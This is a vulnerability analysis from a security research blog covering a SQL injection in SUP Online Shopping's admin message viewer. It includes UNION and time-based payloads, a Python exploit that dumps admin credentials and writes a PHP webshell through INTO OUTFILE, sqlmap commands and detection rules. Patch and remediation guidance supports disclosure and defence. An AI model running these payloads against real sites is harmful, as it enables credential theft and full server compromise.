home intel cve-2026-8128-sup-shopping-sqli-rce
CVE Analysis 2026-05-08 · 7 min read

CVE-2026-8128: SQL Injection in SUP Online Shopping viewmsg.php

Unsanitized msgid parameter in /admin/viewmsg.php enables blind and UNION-based SQLi. Full database read and potential OS-level RCE via INTO OUTFILE.

#sql-injection#remote-code-execution#admin-panel#parameter-manipulation#unauthenticated-attack
Technical mode — for security professionals
▶ Attack flow — CVE-2026-8128 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-8128Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-8128 is a SQL injection vulnerability in SourceCodester SUP Online Shopping 1.0, a PHP/MySQL web application distributed as open-source retail software. The injection point is the msgid GET parameter passed to /admin/viewmsg.php. No authentication bypass is required to trigger the vulnerability if the admin session cookie is obtained or if the admin panel is exposed without access control — both conditions common in SourceCodester deployments.

The vulnerability class is classical unsanitized integer-type parameter passed directly to a SELECT statement. The attack surface is entirely remote and requires no file upload or prior foothold. CVSS 7.3 reflects network-accessible exploitation with low complexity.

Root cause: The msgid parameter is interpolated directly into a SQL query string without prepared statements, type casting, or escaping, allowing an attacker to inject arbitrary SQL clauses.

Affected Component

The vulnerable file is /admin/viewmsg.php. Based on the SourceCodester codebase pattern, this file handles retrieval and display of a single inbox message by numeric ID. The PHP runtime connects to MySQL via a shared $con handle initialized in a common include. No ORM or query abstraction layer is present.

Affected versions: SourceCodester SUP Online Shopping 1.0 (all distributions as of publication). See NVD for upstream confirmation.

Root Cause Analysis

The following pseudocode reconstructs the vulnerable function based on the SourceCodester coding pattern observed across their PHP projects. The structure is consistent with their other viewmsg / vieworder handlers.


// FILE: /admin/viewmsg.php
// Reconstructed pseudocode — representative of SourceCodester pattern

void render_message_view(mysqli *con) {
    char query[512];
    char *msgid;

    // BUG: $_GET['msgid'] is attacker-controlled; no intval(), no cast, no binding
    msgid = $_GET["msgid"];

    // Direct string interpolation into query — no prepare/bind
    snprintf(query, sizeof(query),
        "SELECT * FROM messages WHERE id = %s",  // BUG: %s not %d
        msgid
    );

    // query executes with fully attacker-controlled WHERE clause
    result = mysqli_query(con, query);

    if (row = mysqli_fetch_assoc(result)) {
        echo(row["sender"]);
        echo(row["message"]);
        echo(row["date_sent"]);
    }
}

The critical detail: the format specifier is effectively %s (string interpolation in PHP via double-quoted string), not a bound integer parameter. PHP equivalent:


// ACTUAL PHP — equivalent unsafe pattern
$msgid = $_GET['msgid'];                          // no intval()
$query = "SELECT * FROM messages WHERE id = $msgid"; // BUG: raw interpolation
$result = mysqli_query($con, $query);

Contrast with the safe pattern using intval() or prepared statements — neither is present here. The id column is a numeric primary key, so the developer likely assumed the parameter would always be an integer, omitting validation entirely.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker identifies /admin/viewmsg.php?msgid= parameter via crawl or source review
2. Confirm injection: msgid=1 AND 1=1 (page loads) vs msgid=1 AND 1=2 (empty/error)
3. Enumerate columns via ORDER BY: msgid=1 ORDER BY 5-- -
4. UNION SELECT to extract schema: msgid=-1 UNION SELECT 1,2,3,4,5-- -
5. Dump credentials: msgid=-1 UNION SELECT 1,username,password,4,5 FROM admin-- -
6. Crack or reuse MD5/plaintext admin hash to authenticate to admin panel
7. Use admin file upload (product image / avatar) to plant PHP webshell
8. Alternatively: IF MySQL user has FILE privilege, use INTO OUTFILE to write shell
9. Execute OS commands via webshell -> full server compromise

Step 8 is the direct SQL-to-RCE path without needing a second vulnerability:


import requests

TARGET = "http://target.tld/admin/viewmsg.php"
COOKIES = {"PHPSESSID": "stolen_or_guessed_session"}
WEBROOT = "/var/www/html/admin/"

# Stage 1: confirm injectable parameter
probe = requests.get(TARGET, params={"msgid": "1 AND SLEEP(3)-- -"}, cookies=COOKIES)
# If response time > 3s: confirmed time-based blind SQLi

# Stage 2: UNION-based credential dump
union_payload = "-1 UNION SELECT 1,username,password,email,5 FROM admin LIMIT 1-- -"
r = requests.get(TARGET, params={"msgid": union_payload}, cookies=COOKIES)
# Parse response HTML for injected column positions

# Stage 3: INTO OUTFILE RCE (requires FILE privilege + known webroot)
shell_payload = (
    "-1 UNION SELECT 1,'',3,4,5 "
    f"INTO OUTFILE '{WEBROOT}x.php'-- -"
)
requests.get(TARGET, params={"msgid": shell_payload}, cookies=COOKIES)

# Stage 4: trigger dropped shell
cmd = requests.get("http://target.tld/admin/x.php", params={"cmd": "id"})
print(cmd.text)  # uid=33(www-data) gid=33(www-data)

Memory Layout

SQL injection does not involve heap corruption, but the query buffer state is instructive for understanding injection boundaries. The MySQL server-side query parser receives the following wire-level content:


QUERY BUFFER STATE — benign request:
  msgid = "3"
  Final query: SELECT * FROM messages WHERE id = 3
  [S][E][L][E][C][T][ ][*][ ][F][R][O][M][ ]...[=][ ][3][\0]

QUERY BUFFER STATE — UNION injection:
  msgid = "-1 UNION SELECT 1,username,password,email,5 FROM admin-- -"
  Final query: SELECT * FROM messages WHERE id = -1 UNION SELECT
               1,username,password,email,5 FROM admin-- -
  Parser sees TWO logical SELECT statements; first returns 0 rows,
  second returns admin table row mapped into original column positions.

QUERY BUFFER STATE — INTO OUTFILE injection:
  Final query: SELECT * FROM messages WHERE id = -1 UNION SELECT
               1,'',3,4,5
               INTO OUTFILE '/var/www/html/admin/x.php'-- -
  MySQL FILE privilege check passes -> fs write at webroot path.

Patch Analysis

The minimal fix is type coercion via intval(). The correct fix is a prepared statement. Both are shown:


// BEFORE (vulnerable):
$msgid  = $_GET['msgid'];
$query  = "SELECT * FROM messages WHERE id = $msgid";
$result = mysqli_query($con, $query);

// AFTER — minimal fix (intval cast, breaks non-numeric injection):
$msgid  = intval($_GET['msgid']);          // coerce to integer; "1 UNION..." becomes 1
$query  = "SELECT * FROM messages WHERE id = $msgid";
$result = mysqli_query($con, $query);

// AFTER — correct fix (prepared statement, parameterized binding):
$stmt = mysqli_prepare($con, "SELECT * FROM messages WHERE id = ?");
mysqli_stmt_bind_param($stmt, "i", $_GET['msgid']);   // "i" = integer type
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The intval() approach is sufficient to neutralize this specific vector since id is always numeric. The prepared statement approach is the architecturally correct remediation and should be applied globally across all query construction in the codebase — SourceCodester applications routinely replicate this pattern across dozens of files.

Detection and Indicators

Web Application Firewall signatures and log patterns that indicate active exploitation:


ACCESS LOG INDICATORS:
  GET /admin/viewmsg.php?msgid=1+AND+SLEEP(3)--+-
  GET /admin/viewmsg.php?msgid=-1+UNION+SELECT+1,2,3,4,5--+-
  GET /admin/viewmsg.php?msgid=1+ORDER+BY+10--+-
  GET /admin/viewmsg.php?msgid=-1+UNION+SELECT+1,username,password,3,4+FROM+admin--+-

MYSQL GENERAL LOG:
  Query   SELECT * FROM messages WHERE id = -1 UNION SELECT ...
  Query   SELECT * FROM messages WHERE id = 1 AND SLEEP(3)

WAF RULE (ModSecurity / OWASP CRS):
  SecRule ARGS:msgid "@detectSQLi" \
      "id:9999001,phase:2,deny,log,msg:'SQLi in viewmsg msgid'"

SQLMAP DETECTION:
  sqlmap -u "http://target.tld/admin/viewmsg.php?msgid=1" \
         --cookie="PHPSESSID=VALUE" --dbs --batch --level=3
  # Confirms: MySQL >= 5.0, parameter msgid is injectable (GET)

Remediation

Immediate: Apply intval() to all numeric parameters in viewmsg.php and audit all sibling files (vieworder.php, viewproduct.php, etc.) for the same pattern — SourceCodester codebases copy-paste this construct extensively.

Structural: Migrate all database interaction to PDO or mysqli prepared statements. A global search for mysqli_query($con, "SELECT with any $_GET or $_POST variable interpolated is the triage query.

Defense-in-depth: Restrict MySQL application user privileges — the FILE privilege should never be granted to the web application DB user, which closes the INTO OUTFILE RCE path even if injection is present. Deploy ModSecurity with OWASP CRS in front of all SourceCodester deployments pending a code-level fix.

Access control: Verify /admin/ is not accessible without a valid session. SourceCodester admin panels frequently lack per-page session checks, making credential theft via SQLi immediately actionable without re-authentication.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →